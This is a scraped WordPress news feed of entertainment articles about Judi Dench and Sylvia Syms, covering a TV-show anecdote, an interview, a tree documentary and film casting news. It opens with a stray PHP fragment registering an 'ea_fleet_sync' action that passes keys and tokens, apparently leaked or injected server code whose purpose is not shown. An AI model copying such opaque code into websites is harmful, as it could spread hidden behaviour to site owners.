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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Judi – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 25 Jan 2019 13:09:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Judi – Brief News https://briefnews.eu 32 32 Judi Dench in hilarious ‘erection’ gaffe: People ‘walked off the stage in shock’ https://briefnews.eu/judi-dench-in-hilarious-erection-gaffe-people-walked-off-the-stage-in-shock/ https://briefnews.eu/judi-dench-in-hilarious-erection-gaffe-people-walked-off-the-stage-in-shock/#respond Fri, 25 Jan 2019 13:09:20 +0000 http://briefnews.eu/judi-dench-in-hilarious-erection-gaffe-people-walked-off-the-stage-in-shock/

The iconic actress was speaking on The Graham Norton Show – due to air tonight – about her new film All Is True when she recalled making an error during a performance of The Merchant Of Venice. The star singled out the play as her least favourite by the Bard, and it seems she has a bad memory to go along with it.

“I have never been fond of it,” she said. “Everyone in it behaves very badly.

“Against my will I did once play Portia the first year I was married and Mike [late husband Michael Williams] played Bassanio and I had a speech to him and I made a terrible, terrible mistake.

“Instead of saying, ‘I speak too long; but ’tis to peize the time, to eke it and to draw it out in length, to stay you from election’; I said ‘Erection’.

“The wind band that was about to play put down their instruments and walked off the stage in shock.

“It caused a lot of unrest!”

Discussing her new movie with Sir Kenneth Branagh, Dench said she needed next-to-no persuading to take the job.

“All the films I have done with Ken is the same story,” she explained.

“He just says, ‘I wonder if you would be interested…’ and I say ‘Yes’, and for this one I got a call from my agent to say Ken wanted to come down and talk to me about something, and I said, ‘Tell him not to come, I’ll do it.’”

Branagh interjected: “It is absolutely true. She said, ‘Don’t waste the petrol.’”

All Is True also stars Sir Ian McKellen, and tells the story of Shakespeare returning to his home in Stratford after the Globe Theatre burns down in 1613.

Branagh also directs, from a screenplay by Ben Elton.

All Is True is out on February 8. The Graham Norton Show airs tonight on BBC One.

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Sylvia Syms revealed she would like to have played anything Judi Dench has done

In the intervening years Sylvia has appeared opposite some of the most prominent leading men of the post-war era from John Mills and Dirk Bogarde to Tony Hancock and Sid James. 

And as the 60th anniversary of the UK release of Ice Cold In Alex approaches, she is still going strong with her latest film, Together, due to be released next month. 

But if you have the temerity to suggest she might be something of a national treasure she will give you both barrels. 

“A living great? I don’t think so!” she shrieks at the suggestion.  

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“That’s very much reserved for other people. 

“There are lots of parts other people have had that I’d like to have played including anything Judi Dench has done. Anything!” 

Despite a CV which shows that she has not stopped working since the mid-1950s, she claims: “I haven’t had longevity, not like Judi who’s in everything. 

“I don’t think anyone sits in a casting and says, ‘Sylvia Syms, my God!’ I’m too ordinary. 

“They just think, ‘She’ll do’.  

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Sylvia Syms in a publicity portrait from the 1960s

“I’m not famous like Judi or Maggie Smith so I don’t get offered that much nowadays.” 

In saying this Sylvia is being modest to a fault. 

Eight months after Together comes out she will hit our screens once more in the romantic comedy One Night In Bath. 

And Sylvia reveals she has also been offered an advance to write her autobiography but says she turned it down because she does not think she is famous or interesting enough. 

What would she call it if she did?  

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Sylvia Syms and her daughter Beatie Edney (L) attended the Voice Of A Woman Awards in 2015

“Who The F*** Is Sylvia?” she replies. 

By now you will have gathered that Sylvia is renowned for being feisty. But her bark is worse than her bite. 

In truth she is as soft as her Jack Russell “Bunny” who hops up on my lap to be stroked as we talk. 

These days Sylvia is not in the best of health due to diabetes, back problems and a history of depression. 

But she loves living in her West London garden flat, several walls of which are adorned with photos of her glittering career, mainly showing her heavenly-looking younger self.  

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Sylvia Syms and John Mills starred together in Ice Cold In Alex

“I’m horrified when I look at pictures now and see a fat old lady with a bulging face,” she says. 

“I was extraordinarily beautiful back then but I didn’t know it.” 

For much of her career Sylvia’s name was confused with those of two other actresses. 

“Joan Sims was always theoretically my sister, though she wasn’t. Sheila Sim was married to Dickie Attenborough and because they often saw the Queen I suspected Her Majesty thought I was married to Dickie. 

“She was always extra nice, as if she knew me, which she didn’t except as an actress. 

“I suppose it was a bit confusing but Sylvia Syms is my own name and it would have upset my father if I’d changed it.”  

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Sylvia was born in Woolwich, London, on January 6, 1934, and her father Edwin was a civil servant, trade unionist and keen amateur entertainer. 

It was the theatre shows to which he took the young Sylvia that inspired her love of acting. 

But she was only 12 when her mother Daisy, who had suffered a severe head injury in a Second World War air raid, committed suicide. 

Two years later her father remarried and it was her stepmother Dorothy who did the most to try to help her through those difficult years. 

“When I left school at 16 I had a near breakdown,” Sylvia once revealed in an interview.  

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“Dorothy saved the day, sending me to a revolutionary place in the West Country where I did art therapy – making pottery and painting – and spoke to a therapist every day. 

“It was an extraordinary concept in 1951.” 

After that she “sailed into” drama school and by 1953 was appearing in the West End in George Bernard Shaw’s play The Apple Cart with Noel Coward. 

Four years later she made her first film and went on to appear in dozens more. 

But she has no horror stories from the casting couch. 

“It did not happen to me, partly because a lot of the men I worked with had come up a different way,” she says.  

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Cara Delevingne and Sylvia Syms

“You can’t imagine Anthony Quayle, war hero, groping. 

“Or John Mills who had been acting since he was a boy. 

“Orson Welles would not have bothered. 

“I was very naive but I was also a respectable married woman.” 

By the time she became a film star Sylvia had tied the knot with her teenage sweetheart Alan Edney, whom she married in 1956 when she was 22. 

In 1959 she played opposite Cliff Richard in his second movie Expresso Bongo.   

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Sylvia Syms in the 1980s

“Cliff was the best-behaved and most polite and adorable young man I’d ever met. 

“I have kept in touch with him a little. 

“He is a very impressive man and one must never take any notice of silly things that are gossiped about because he was very religious.” 

The 1961 film Victim, in which Sylvia portrayed the wife of a barrister (Dirk Bogarde) who is a closet gay, is credited with influencing the debate which led to the decriminalisation of homosexual acts in private. 

Sylvia also admired Julie Andrews when they teamed up for 1974’s The Tamarind Seed, directed by Julie’s late husband Blake Edwards. 

“I expected this rather prissy woman but Julie isn’t.  

“She is very direct and strong.” 

Sylvia, a Labour Party supporter, has portrayed Margaret Thatcher three times, a task made difficult by the fact she was never a fan, but she says: “You can’t play someone if you hate them. 

“You’ve got to be sympathetic.” 

Alongside professional success Sylvia has had her share of tragedy. 

One of her babies was stillborn, another died at two days old.

She and Alan adopted a son, Ben, then had a daughter Beatie Edney, herself an acclaimed actress currently best-known as Prudie from Poldark.  

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Judi Dench and Sylvia Syms took part to a charity show at the London Palladium in the 1960s

But all was not well in her marriage and after Alan admitted an affair which produced a love child, divorce ensued in 1989. 

“I did love Alan very much but we were so wrong together. 

“I understood why he had done it – I think it was about sex. 

“She was available and maybe I wasn’t and I forgave him.” 

“So what of her latest project? 

“Together is about an old couple who are separated when she is hospitalised and he is admitted to a care home.  

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Sylvia Syms received her MBE in 2007

“They take on the State saying, ‘We have managed 60 years and we will always manage perfectly well.’” 

Sylvia herself is well looked after by her son Ben who has moved from Australia to be near her, and Beatie who lives in Notting Hill. 

Both are unmarried with no children. 

But Sylvia has no plans to quit acting. 

“I can’t announce my retirement because I don’t work enough. 

“If someone offers me a job and I can still do it, I’ll do it.”  

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Neil Pearson, for example, is a renowned collector of rare books.

The late Robert Hardy was an authority on the English longbow, and had most of the early examples of the weapon in his own private collection.

He also has a tree dedicated to him, as we found out in Judi Dench: My Passion For Trees (BBC2), for this is the actress’s private pastime.

A tree-hugger in the truest sense of the term, the famous dame has turned her Surrey garden into a private woodland, many of whose trees commemorate the life of departed colleagues and loved ones. 

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Over the course of a year, assisted by the head curator of trees at Kew, Tony Kirkham, and her nature-loving friend David, Judi explored the mysteries at the bottom of her garden and there were many to be dug up.

I was still grappling with the early revelation that Surrey is the most wooded county in Britain, and home to more deer today than there were in Queen Elizabeth I’s time, but Judi & Co had swiftly moved on to delve deep beneath the roots and the bark.

With the aid of some hi-tech paraphernalia, we (via a truly gobsmacked Dame Judi) were able to listen to the inside of trees in spring, as hundreds of litres of water were drawn up from the ground and channelled, with little popping sounds, to the tiniest buds.

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The famous dame has turned her Surrey garden into a private woodland

The magic didn’t stop there. We encountered beech trees that could turn their own leaves bitter, to see off nibbling roe deer.

There were pines, using a scent to divert an infestation of aphids by luring ladybirds down to eat them all up. Weirdest of all (though not strictly trees) were the fungi, along whose buried, mile-long silken threads, everything in the wood could send and receive signals, like a sort of mushroom-based internet.

While astonishing us, this final revelation added a level of extra joy to Dame Judi, because it meant everyone in her remembrance wood was talking to each other.

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It is strange how The Real Marigold On Tour (BBC2) plays some locations for maximum bother, yet lets others speak for themselves.

That might be down to whether the episode includes Miriam Margolyes, who was not on the list for last night’s Iceland visit.

There are, actually, ample opportunities to horrify foreign visitors to this small volcanic plug of a place.

There’s the roasted puffins (I’m sure Miriam would have had a few things to say about them), not to mention the tradition of eating fermented skate wing, doused in mutton fat, and finished off with a shot of home-brew whose name translates as “burning wine”.

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Apart from Rustie Lee being a bit shocked at the prices in the supermarket, though, and Sheila Ferguson not liking the flat-pack architecture, the celebrity-retirees found little to dislike about Iceland.

Sheila, in fact, found a bloke (well, she went on a date with a charming gent whom she said she’d like to see again).

Perhaps it’s also got a lot to do with the time of year the filming takes place.

I know the good ole boys down at the hot springs near Húsavik said they took the health-giving waters there every day.

I’m not sure that includes all the days when there’s 23 hours of darkness and 24 hours of blizzard.

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It’s been a long time coming, but we’re finally getting an Artemis Fowl movie.

Nearly a decade after the Harry Potter-inspired children’s fantasy phenomenon breathed its last fiery breath, and on the tail end of the fading YA dystopian craze, Artemis Fowl is coming. And it has a pretty impressive cast and crew. Kenneth Branagh will be taking the helm of the Disney adaptation of Eoin Colfer’s children’s book series, which follows the manipulative child genius Artemis Fowl as he kidnaps an elf to ransom her for a fortune. It’s a pretty unforgiving role for any child actor, but after months of searching, Branagh and his team have finally landed on a newcomer to play the role of the cunning, slightly cruel, and compelling protagonist.

Disney announced on Wednesday that Branagh and casting director Lucy Bevan have cast Irish newcomer Ferdia Shaw in the title role of Artemis Fowl, after seeing more than 1200 child actors for the part.

Shaw will join a star-studded supporting cast, which includes Judi Dench (Victoria and Abdul) as the stern Commander Root, who leads the LEPrecon fairy police force, Josh Gad (Beauty and the Beast) as Mulch, the morally ambiguous dwarf thief-for-hire, and Nonso Anozie (Cinderella) as Butler, Artemis’ loyal and deadly bodyguard. Child actress Lara McDonnell (The Delinquent Season) will play Captain Holly Short, Artemis’ elven victim and foe.

As a longtime reader of the Artemis Fowl books (yes, even the trash seventh and eighth books), Branagh’s casting decisions surprise me a little — Dench plays a gender-bent version of the grizzled Commander Roots and Holly Short is now played by a child versus the fully grown adult she is in the books — but they could work. In fact, I’m ecstatic about the casting of a female Commander Root, which could add another layer of depth to Root and Holly’s tumultuous relationship. It’s casting Holly Short as a child instead of a fully grown adult that rings a little odd to me, though it could be way of circumventing the weird romantic tension that Artemis and Holly have in later books. Still, having two child actors at the center of the story seems like a huge gamble, and one that could result in Artemis Fowl being written off as yet another bland family film.

Artemis Fowl is far from that. It has one of the most compelling protagonists in any children’s book, one who shifts from villain to anti-hero over the course of the series, grounded by his parental loss and grief. It’s a difficult part for any child actor to play, so I hope that Shaw will be up to the task (my fan cast for some time was Asa Butterfield, but he’s long aged out of the role). Disney and Branagh have expertly cast talented newcomers before, so I trust that Branagh has chosen a worthwhile actor to play my favorite child genius.

Artemis Fowl, produced by Branagh and Judy Hoffland, is set to hit U.S. theaters on August 9, 2019. Production begins early next year in the U.K.

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]]> https://briefnews.eu/artemis-fowl-casts-ferdia-shaw-in-title-role-judi-dench-josh-gad-round-out-kenneth-branaghs-cast/feed/ 0 Dame Judi Dench lets us into her special woodland in new documentary https://briefnews.eu/dame-judi-dench-lets-us-into-her-special-woodland-in-new-documentary/ https://briefnews.eu/dame-judi-dench-lets-us-into-her-special-woodland-in-new-documentary/#respond Sat, 09 Dec 2017 12:32:46 +0000 http://briefnews.eu/dame-judi-dench-lets-us-into-her-special-woodland-in-new-documentary/

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Dame Judi Dench reveals the secret woodland she has nurtured for 30 years

Beyond the diamond-paned windows of her beautiful Surrey home lies Dame Judi Dench’s refuge, a place where she can laugh and cry, find solace and inspiration.

This is the secret woodland she has nurtured for 30 years and kept hidden from all but her closest circle.

Now she opens it up to the cameras in a joyous and gorgeously filmed new documentary titled Judi Dench: My Passion For Trees, to be shown on BBC One later this month.

She began developing the wood in her six-acre grounds with her late husband, actor Michael Williams, soon after they moved there in 1985.

It might have remained a covert project but for a chance meeting with producer Anthony Geffen, one of the world’s foremost documentary film-makers who has worked with Sir David Attenborough. 

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“Judi told me about her love for trees,” says Geffen and when he suggested the idea of filming her enjoying the woodland and investigating its mysteries over the four seasons he was surprised by her reaction.

“She was reluctant. She didn’t know if she could play herself.”

In fact Oscar-winning Dame Judi, who celebrates her 83rd birthday today, is captivating, squealing with joy as she builds up her knowledge of all things arboreal with the help of scientists and botanists.

As Geffen says: “Audiences will experience a side of Judi they won’t have seen before, her love for trees, her passion for learning and her wonderful sense of humour.”

Dame Judi’s wit and impeccable comic timing is on view even when she reveals that her woodland is a living memorial to those she has loved and lost.

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Dame Judi plants a tree for friend actor Robert Hardy who died in August

Wooden plaques attached to various trees are dedicated to family members and to a number of often famous friends who have passed away.

“This is Stephen Hanley,” she says pointing to a slim, white tree.

“He was a lovely, lovely actor and singer in A Little Night Music at the National. He died and we put it in and it’s just like him. He was tall and kind of pale and it’s lovely.”

There is also a tree for Shakespearean actor Alan Rickman who reached a wider audience as the evil Hans Gruber in the 1988 film Die Hard. Dame Judi lovingly pats another tree.

“This is Jeff, one of my brothers.” Jeffery Dench, an actor with the Royal Shakespeare Company, died in 2014 aged 86. 

She lost her eldest brother Peter, a former GP, in January this year. “Since I was a little girl and was taken to see my brothers in Shakespeare at St Peter’s School in York all I wanted was to be in those plays. In 60 years I’ve been involved with more than 30 of his plays.”

She moves on through the wood. “We’ve got Ian Richardson [the original House Of Cards actor] and Natasha Richardson, no relation. Ian and I were at Stratford together. Natasha [who died after a skiing accident in 2009 aged 45] – well, I was at Central drama school with her mother Vanessa Redgrave. And this,” she pauses for breath, “is Michael.”

The plaque says Mike and is for her husband who died in 2001 of lung cancer at 65. They had been married since 1971.

She didn’t plant a new tree for Michael. “This one was here already so it’s not a 16-year old tree but it was a young tree at the time.

Planting trees is about remembering and something that is living that goes on. “So you don’t just remember loved ones and stop, you remember them and the memory goes on and it gets more wonderful. Whenever I can, whatever the season, this is where I escape to.” 

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Natasha Richardson died after a skiing accident in 2009 aged 45

Since 2010 Dame Judi’s closest companion has been conservationist David Mills, 74, who runs the British Wildlife Centre in Lingfield, Surrey, not far from her home.

She likes to call him her “chap” avoiding the terms partner or boyfriend. They met when he asked her to open a new badger enclosure and their slow-growing romance took her by surprise.

They live four miles apart but spend much of their time together. Although Dame Judi finds winter the “most magical time” in her woodland – “my trees are like sleeping giants” – she and David love to be cosy inside her home with its comfortable chairs, family photos and books.

“When it’s freezing outside there’s nothing I like more than to sit in the warmth with my chap David.”

He helps Dame Judi look after her woodland. “He shares my passion for trees,” she says. “My life’s just trees now. Trees and champagne,” she giggles. 

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Tony Kirkham, head of arboretum, gardens and horticulture services at the Royal Botanical Gardens, Kew, arrives and tells her Surrey is the most wooded county in England.

Poignantly she links arms with him to prevent herself tripping – Dame Judi suffers from macular degeneration in both eyes. Kirkham measures the girth of a large oak in her wood with every inch equivalent to a year in age.

He takes a piece of string. “I’ll be back,” he says disappearing round the tree. “In about a week,” laughs Dame Judi. T hey calculate the oak is almost 200 years old.

“Good for him,” she cries, giving her oak the personal pronoun. “He would have started getting going around the time of the Battle of Waterloo.”

She claps her hands on learning it has 260,000 leaves and 12km (7.5miles) worth of branches. “I’m so proud. Over 200 years it must have breathed in a lot of carbon dioxide so my oak must be helping the planet.”

Dame Judi uses a special listening device to hear the popping sound of trees drinking in water – a large specimen needs the equivalent of two bathfuls a day.

Intriguingly she learns about the miles-long underground networks of threads emanating from fungi which break down old wooden matter to turn it into nutrients for trees.

They also connect trees with each other so they can share water and food and warn each other of attacks. “I’ll never walk nonchalantly through my wood again without thinking of all the incredible work that goes on there.

We think we live in a society but it’s no comparison to how these chaps [her trees] live. I shall give up acting and lecture on trees… probably.” She laughs.

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David Mills (L) and Dame Judi attend the Duke of Edinburgh Award 60th Anniversary

She plants a yew tree in her sandy-soiled wood for her friend actor Robert Hardy who died in August aged 91, an appropriate tree as he was the country’s leading expert on longbows and conserved all of those rescued from Henry VIII’s warship the Mary Rose.

She gently tips in the last of the soil and reflects: “It’s been wonderful to discover that trees aren’t just amazing individuals but part of an extended family.

When I planted trees in memory of my friends I always hoped they would feel part of a community with each other and it’s so reassuring to find out it’s true.”

Judi Dench: My Passion For Trees is on BBC One on Wednesday, December 20 at 8pm.

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The sci-fi movie seemed a bizarre move for the iconic British star, who doesn’t usually make appearances in the genre.

However it seems an enormous bouquet of flowers from Vin Diesel was all she needed to be persuaded.

“I was doing a play at the Haymarket Theatre in London and I didn’t know that Vin Diesel, the one and only, was there,” she told Entertainment Weekly.

“Vin sent me a bouquet of flowers that were so big they couldn’t fit up the stairs to my dressing room. They could not get them into the corridor.

“Then he asked if I would be in his film. And of course I said yes. Why ever not?”

Dench, 82, starred in the film back in 2004, but is now promoting Victoria & Abdul, in which she reprises the title role of one of the country’s most famous ever monarchs.

Later this year she’ll also be in Muder on the Orient Express.

On her decision to play Victoria again, she recently said: “So I never expected to play her later on but I must say this particular story of Queen Victoria four years after John Brown died seemed to me to be a kind of continuance, because I’d done the homework, and the screenplay I think is wonderful.

“It tells a great, great story – so that and working with Stephen [Frears] again, I found an irresistible proposition.”

The film has split critics so far, and holds a 50% score on Rotten Tomatoes.

Victoria and Abdul is out now.

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Rumours a plenty have been flying around on what’s next in store for the 25th official film.

Over the weekend , with Adele set to sing the theme song for the second time.

Whether the 49-year-old star does return or not, the time will eventually come for him to be replaced by a new actor.

Now in a recently resurfaced interview, Dench has opened up on her initial thoughts when Craig was cast before his debut in 2006’s Casino Royale.

Speaking with GQ, she said: “When I heard the news I thought, ‘How terrific.’

“I also thought it’s a very, very onerous mantle to take on because he’s James Bond, you know? He’s universal. It’s a big thing. I mean, what do you do?

“However, if he was uncertain he didn’t give me the impression of being so. 

“Daniel can be rather enigmatic. Like James Bond, really. 

“Although I’m certain underneath it all he was a bit… nervous about it – as was Pierce Brosnan.”

She added: “Daniel is a James Bond for today. He’s just a really good actor, which means that he’s managed it with incredible aplomb. 

“He’s got a great sense of humour and that, to me, is absolutely essential in that part. 

“Well, in any part I think it’s essential to have a sense of humour, and I wouldn’t want to work with anyone who doesn’t.”

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Dame Judi will be dusting off her crown and formidable stares to do what she does best – another royal role.

This time she is reprising her Queen Victoria performance which the Oscar-winning star first undertook 20 years ago in 1997’s Mrs Brown.

It is impossible not to crack a little when Dame Judi cries: “I am so lonely. What is the point?”

It’s not out until September, but the highly-anticipated first trailer will make you smile even as it plucks at your heartstrings.

The film also stars Eddie Izzard as the future King Edward VII, impatiently waiting for his moment on the throne.

The new biographical drama from Working Title and legendary British director Stephen Frears (The Queen, Philomena) delves into a charmingly uplifting but little-known friendship that developed between the monarch in the later years of her reign with Abdul Karim.

Sadly, it is a bond that her household and inner circle soon attempt to put an end to.

Karim is mistrusted. One courtier tells him: “You’ve upset the order of everything!” 

Victoria, though, need someone to talk to as she confides: “No one really knows what it’s like to be Queen. What is the point, Abdul?” 

He replies with great dignity: “Service, your majesty.” 

In a moving moment Victoria defends her new friend.

She says: “I am Queen of England. I am Empress of India. But most importantly, I am a servant to a billion citizens. Abdul has risen on his own merits. He too is a servant. Now, he is my friend.”

Victoria and Abdul will be released in UK cinemas on September 15.

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Has there been an actress who’s played more members of English royalty or upper class society than Dame Judi Dench? She has to be the first call casting directors make if they’re looking for someone to play a role like that, and over the course of her long career, she’ve proven adept at allowing bits of humanity to shine through the authoritative figures she often plays.

Now she’s suiting up as England’s Queen Victoria for a new film called Victoria & Abdul, in which she forms an unconventional alliance with an Indian servant played by Ali Fazal. Check out the trailer and poster, and learn why this is strangely familiar territory for Dench below.

Victoria and Abdul trailer

I’m a little torn about this. On one hand, this looks like yet another story about a white person learning a lesson from someone she’s technically subjugating. But at the same time, this is a depiction of actual historic events, so I can’t blame Focus Features for telling this story in this fashion. Plus, it provides what looks like a nice opportunity for Fazal to potentially raise his profile in America, which may result in more roles down the line. That’s definitely a positive thing.

Regarding the “familiar territory” hint I mentioned earlier, take a look at the poster, and pay close attention to the tagline:

Victoria and Abdul poster

I’m not a history scholar, but it seems as if Queen Victoria made a habit out of making unlikely friendships. In fact, Dame Judi Dench has already played this same character doing exactly that in John Madden’s 1997 movie Mrs. Brown, in which the unlikely pal was a Scottish man played by Billy Connolly. Take a look:

So it’s safe to say she’s familiar with this kind of story.

Side note: at this point, I imagine it has to be a right of passage for British actors to play stuffy, out of touch bureaucrats who look down on the Queen’s “peasant” friends. Their reactions (at least as depicted in these two trailers) are so over the top, they’re almost comical. This movie might be worth seeing just for those moments alone.

Victoria & Abdul opens in limited release on September 22, 2017 and begins expanding to more theaters the following weekend.

The extraordinary true story of an unexpected friendship in the later years of Queen Victoria’s (Academy Award winner Judi Dench) remarkable rule. When Abdul Karim (Ali Fazal), a young clerk, travels from India to participate in the Queen’s Golden Jubilee, he is surprised to find favor with the Queen herself. As the Queen questions the constrictions of her long-held position, the two forge an unlikely and devoted alliance with a loyalty to one another that her household and inner circle all attempt to destroy. As the friendship deepens, the Queen begins to see a changing world through new eyes and joyfully reclaims her humanity.

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